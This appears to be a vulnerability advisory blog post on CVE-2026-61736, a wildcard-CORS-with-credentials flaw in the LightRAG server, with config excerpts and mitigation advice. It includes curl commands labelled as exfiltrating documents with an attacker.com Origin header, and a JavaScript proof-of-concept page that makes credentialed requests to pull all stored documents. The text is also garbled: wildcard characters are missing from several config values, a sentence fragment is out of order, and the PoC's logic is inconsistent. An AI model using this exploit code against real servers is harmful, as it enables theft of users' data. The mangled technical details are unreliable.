Listen to this Post
A critical vulnerability has been identified in HKUDS LightRAG, tracked as CVE-2026-61736. The flaw resides in the server’s default Cross-Origin Resource Sharing (CORS) configuration, which is extremely permissive and fundamentally compromises user authentication security.
Prior to version 1.5.4, the LightRAG server defaults to `CORS_ORIGINS=` combined with `allow_credentials=True` in the `lightrag/api/lightrag_server.py` file. In a standard, secure configuration, a wildcard origin () should never be used in conjunction with `allow_credentials=True`. However, due to the specific implementation of Starlette's CORSMiddleware, this combination has a dangerous side-effect.) in the `Access-Control-Allow-Origin` header. Instead, it echoes back the exact `Origin` header from the incoming request. This behavior, combined with the wildcard setting, effectively means that any origin is implicitly whitelisted for credentialed cross-origin requests.
When `allow_credentials=True` is set, the middleware does not simply return a wildcard (
This configuration flaw allows any malicious website to perform authenticated API calls on behalf of a logged-in user. An attacker can craft a webpage that, when visited by an authenticated LightRAG user, silently executes requests against the vulnerable server using the user’s existing session cookies or tokens. The impact is severe, allowing for the exfiltration of all documents and knowledge graph data, as well as destructive actions like deleting the entire document store. This vulnerability is classified as CWE-942: Permissive Cross-domain Policy with Untrusted Domains.
DailyCVE Form
Platform: HKUDS LightRAG
Version: < 1.5.4
Vulnerability : CORS Wildcard with Credentials
Severity: Critical (CVSS 9.3)
date: 2026-07-15
Prediction: 2026-07-15 (Patch Released)
What Undercode Say
Analytics: The vulnerability stems from a dangerously permissive default configuration. The `CORS_ORIGINS` environment variable defaults to "". When the application starts, it adds the Starlette `CORSMiddleware` with `allow_origins=[“”]` and allow_credentials=True. This combination directly violates security best practices.
Bash Commands / Codes:
Exploiting the vulnerability with a simple curl command This fetches documents from a vulnerable LightRAG instance 1. Login to get a token (if needed) curl -X POST http://lightrag-server:9621/login \ -H "Content-Type: application/x-www-form-urlencoded" \ -d "username=victim&password=known_pass" \ -c cookies.txt 2. Use the session to exfiltrate documents curl http://lightrag-server:9621/documents \ -b cookies.txt \ -H "Origin: https://attacker.com"
Vulnerable Code Snippet:
lightrag/api/config.py:639
args.cors_origins = get_env_value("CORS_ORIGINS", "") default wildcard
lightrag/api/lightrag_server.py:1379
app.add_middleware(
CORSMiddleware,
allow_origins=[""], any origin
allow_credentials=True, credentials — PROBLEM with wildcard
allow_methods=[""],
allow_headers=[""],
)
The core issue is the combination of `allow_origins=[“”]` and allow_credentials=True. When both are present, Starlette’s CORSMiddleware echoes the requesting `Origin` header back in the `Access-Control-Allow-Origin` response, effectively whitelisting every origin for credentialed requests.
Exploit
An attacker can host a simple HTML page on any domain. When a logged-in LightRAG user visits this page, the malicious JavaScript executes authenticated API calls against the vulnerable server, using the user’s existing session.
Proof of Concept (PoC):
<!-- attacker.com/steal.html -->
<script>
const TARGET = "http://lightrag-server:9621";
(async () => {
// Attempt to login and get a token (or re-use existing session)
const r1 = await fetch(`${TARGET}/login`, {
method: "POST",
credentials: "include",
headers: {"Content-Type": "application/x-www-form-urlencoded"},
body: "username=victim&password=known_pass"
});
const { access_token } = await r1.json();
// Exfiltrate all documents
const docs = await (await fetch(`${TARGET}/documents`, {
credentials: "include",
headers: { Authorization: `Bearer ${access_token}` }
})).json();
console.log("STOLEN DOCS:", docs);
})();
</script>
Protection
- Upgrade LightRAG: The most effective mitigation is to upgrade to version 1.5.4 or later, which fixes this CORS misconfiguration.
- Restrict CORS Origins: If an immediate upgrade is not possible, explicitly set `CORS_ORIGINS` to a whitelist of trusted domains. Avoid using a wildcard (“).
- Avoid Credentials with Wildcard: Never use `allow_credentials=True` in conjunction with a wildcard
allow_origins=[""].
Impact
- Data Exfiltration: An attacker can silently steal all documents and knowledge graph data from the vulnerable LightRAG instance.
- Data Destruction: The attacker can perform destructive actions, such as deleting the entire document store.
- Account Takeover: The vulnerability allows an attacker to perform any action on behalf of the authenticated user, effectively taking over their session.
- Widespread Risk: This vulnerability affects all versions of LightRAG prior to 1.5.4, making numerous deployments susceptible to attack.
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
